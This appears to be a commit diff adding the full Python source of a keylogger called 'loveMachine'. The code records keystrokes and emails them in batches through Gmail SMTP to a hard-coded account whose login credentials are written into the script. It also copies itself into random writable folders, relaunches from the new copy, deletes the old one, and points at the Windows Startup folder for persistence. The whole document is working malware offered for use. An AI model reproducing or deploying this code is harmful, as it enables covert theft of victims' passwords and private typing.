|
| 1 | +from pynput import keyboard |
| 2 | +from pynput.keyboard import Key |
| 3 | +import smtplib |
| 4 | +from email.MIMEMultipart import MIMEMultipart |
| 5 | +from email.MIMEText import MIMEText |
| 6 | +import socket |
| 7 | +import os |
| 8 | +import random |
| 9 | +import subprocess |
| 10 | +import sys |
| 11 | + |
| 12 | + |
| 13 | +try: |
| 14 | + buffer = 1000 |
| 15 | + startS = os.path.expanduser("~")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat" |
| 16 | + |
| 17 | + args = "\""+os.getcwd()+"\\loveMachine.exe\"" |
| 18 | + if len(sys.argv) == 2: |
| 19 | + args = "\""+sys.argv[1] +"\" "+ args |
| 20 | + elif len(sys.argv) == 3: |
| 21 | + os.remove(sys.argv[1]) |
| 22 | + args = "\""+sys.argv[2] + "\" " +args |
| 23 | + |
| 24 | + f = open('loveMachine.exe','rb').read() |
| 25 | + |
| 26 | + def jump(d): |
| 27 | + out = open(d+'/loveMachine.exe','wb') |
| 28 | + out.write(f) |
| 29 | + out.close() |
| 30 | + subprocess.call("START \"\" /B /D \""+d+"\" loveMachine.exe "+args, shell=True) |
| 31 | + os._exit(0) |
| 32 | + |
| 33 | + |
| 34 | + def scan(d): |
| 35 | + try: |
| 36 | + l = [os.path.join(d, x) |
| 37 | + for x in os.listdir(d) |
| 38 | + if all([os.access(os.path.join(d, x),cond) |
| 39 | + for cond in [os.F_OK, os.W_OK, os.X_OK, os.R_OK]]) |
| 40 | + and os.path.isdir(os.path.join(d, x)) |
| 41 | + ] |
| 42 | + if len(l)==0: |
| 43 | + jump(d) |
| 44 | + scan(random.choice(l)) |
| 45 | + except WindowsError: |
| 46 | + scan(os.path.expanduser("~")) |
| 47 | + |
| 48 | + keysPressed = '' |
| 49 | + |
| 50 | + def send(body): |
| 51 | + addr = "notsuspiciousatall1337@gmail.com" |
| 52 | + msg = MIMEMultipart() |
| 53 | + msg['From'] = addr |
| 54 | + msg['To'] = addr |
| 55 | + msg['Subject'] = socket.gethostname() |
| 56 | + |
| 57 | + msg.attach(MIMEText(body, 'plain')) |
| 58 | + |
| 59 | + server = smtplib.SMTP('smtp.gmail.com', 587) |
| 60 | + server.starttls() |
| 61 | + server.login("notsuspiciousatall1337", "Passtheword123") |
| 62 | + text = msg.as_string() |
| 63 | + server.sendmail(addr, addr, text) |
| 64 | + server.quit() |
| 65 | + |
| 66 | + |
| 67 | + |
| 68 | + def on_press(key): |
| 69 | + global keysPressed |
| 70 | + try: |
| 71 | + keysPressed+=key.char |
| 72 | + except AttributeError: |
| 73 | + if key == Key.space: |
| 74 | + keysPressed+=" " |
| 75 | + elif key == Key.enter: |
| 76 | + keysPressed+="\n" |
| 77 | + if len(keysPressed)>buffer: |
| 78 | + send(keysPressed) |
| 79 | + keysPressed='' |
| 80 | + scan(os.path.expanduser("~")) |
| 81 | + |
| 82 | + def start(): |
| 83 | + with keyboard.Listener(on_press=on_press) as listener: |
| 84 | + listener.join() |
| 85 | + |
| 86 | + start() |
| 87 | +except: |
| 88 | + args = "\""+os.getcwd()+"\\loveMachine.exe\"" |
| 89 | + subprocess.call("START \"\" /B /D \""+d+"\" loveMachine.exe "+args, shell=True) |
0 commit comments